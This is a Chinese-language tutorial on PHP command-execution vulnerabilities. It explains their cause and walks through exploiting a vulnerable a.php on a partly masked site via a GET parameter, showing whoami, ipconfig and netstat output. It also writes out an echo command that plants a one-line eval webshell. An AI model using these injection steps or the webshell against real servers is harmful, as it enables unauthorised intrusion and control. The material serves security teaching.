命令执行是指攻击者通过浏览器或者其他客户端软件提交一些cmd命令(或者bash命令)至服务器程序,服务器程序通过system、eval及exec等函数直接或者间接地调用cmd.exe执行攻击者提交的命令。
命令执行漏洞产生的原因是,开发人员在编写PHP代码时,没有对代码中可执行的特殊函数入口进行过滤,导致客户端可以提交一些cmd命令(或者bash命令),并交由服务器程序执行。服务器程序没有过滤类似system、eval及exec等函数是该漏洞攻击成功的主要原因。
如今很多开源的PHP代码或者CMS几乎都存在命令执行漏洞,如W3CSchool、W3School、GitHub、Discuz!、DedeCms、PHPCMS及Drupal等。而且很多PHP代码开发人员不重视代码编写的安全性,直接复制一些网上的开源代码然后在自己的项目中使用。这样会产生很多安全隐患,开发人员一定要重视这个问题,不单是PHP,Java、ASP.NET及Python等也一样。
某站命令执行漏洞。开启浏览器,输入http://*.*.234.18/a.php,Web服务器返回信息如图1所示。
图1 物理地址泄露
我们可以看到,系统直接报错了。看到这一行错误提示:Warning: system():Cannot execute a blank command in C:\xampp\htdocs\a.php on line 1。此时会想到:可能是system函数因未传入参数而导致执行时出错。看到这一行错误提示:Notice: Undefined index: a in C:\xampp\htdocs\a.php on line 1。此时会想到:可能是传入了a变量。
开启浏览器,输入http://*.*.234.18/a.php?a=,Web服务器返回信息:Notice: Use of undefined constant a - assumed 'a' in C:\xampp\htdocs\a.php on line 1,Warning: system(): Cannot execute a blank command in C:\xampp\htdocs\a.php on line 1。我们可以看到Notice: Undefined index: a in C:\xampp\htdocs\a.php on line 1已经消失了,说明确实是传入了a变量。那么,此时为a变量赋一个值,提交至Web服务器。开启浏览器,输入http://*.*.234.18/a.php?a=123,Web服务器返回信息:Notice: Use of undefined constant a - assumed 'a' in C:\xampp\htdocs\a.php on line 1。意外地,现在竟然只有一个错误了:没有定义的常量a。其实,这个错误是因为系统cmd找不到123这个系统命令才报错的。如果提交这些系统命令,那么肯定都会被系统cmd成功执行。提交http://*.*.234.18/a.php?a=whoami,Web服务器返回信息:Notice: Use of undefined constant a- assumed 'a' in C:\xampp\htdocs\a.php on line 1,vm-cmr2\vmcmr2 vm-cmr2\vmcmr2。提交http://*.*.234.18/a.php?a=ver,Web服务器返回信息:Notice:Use of undefined constant a - assumed 'a' in C:\xampp\htdocs\a.php on line 1,Microsoft Windows [Version 5.2.3790] Microsoft Windows [Version 5.2.3790]。提交http://*.*.234.18/a.php?a=ipconfig,Web服务器返回信息:Notice: Use of undefined constant a - assumed 'a' in C:\xampp\htdocs\a.php on line 1,Windows IP Configuration Ethernet adapter Local Area Connection 2: Connection-specific DNS Suffix . : IP Address. . . . . . . . . . . . : 10.122.254.27 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.122.254.254 Default Gateway . . . . .. . . . : 10.122.254.254。提交http://*.*.234.18/a.php?a=netstat -ano,Web服务器返回信息:Notice: Use of undefined constant a - assumed 'a' in C:\xampp\htdocs\a.php on line 1,Active Connections Proto Local Address Foreign Address State PID TCP 0.0.0.0:21 0.0.0.0:0 LISTENING 1236 TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 2996 TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 712 TCP 0.0.0.0:443 0.0.0.0:0 LISTENING 2996 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING 452 TCP 0.0.0.0:1029 0.0.0.0:0 LISTENING 1452 TCP 0.0.0.0:1030 0.0.0.0:0 LISTENING 1452 TCP 0.0.0.0:1031 0.0.0.0:0 LISTENING 1388 TCP 0.0.0.0:1079 0.0.0.0:0 LISTENING 836 TCP 0.0.0.0:1556 0.0.0.0:0 LISTENING 1968 TCP 0.0.0.0:1920 0.0.0.0:0 LISTENING 1452。
此时,这里既然可以通过调用系统cmd来执行命令,那么,我们通过调用系统cmd来写PHP一句话木马文件的shell应该也不是什么问题。这显然是可以的,安全的思维能力就在于发散。其实,通过echo命令就可以将PHP一句话木马文件写入C:\xampp\htdocs目录下,其与a.php文件目录同级。命令为echo ^<?php @eval($_POST[cmd])?^> > C:\xampp\htdocs\x.php。写入后,就可以轻松获取shell了。获取到shell后,审计站点代码,才发现这个a.php文件的代码为<?php echo system($_GET[a]);?>,确实和预想得差不多,如图2所示。
图2 获得webshell
文章来自:计算机与网络安全
ID:Computer-network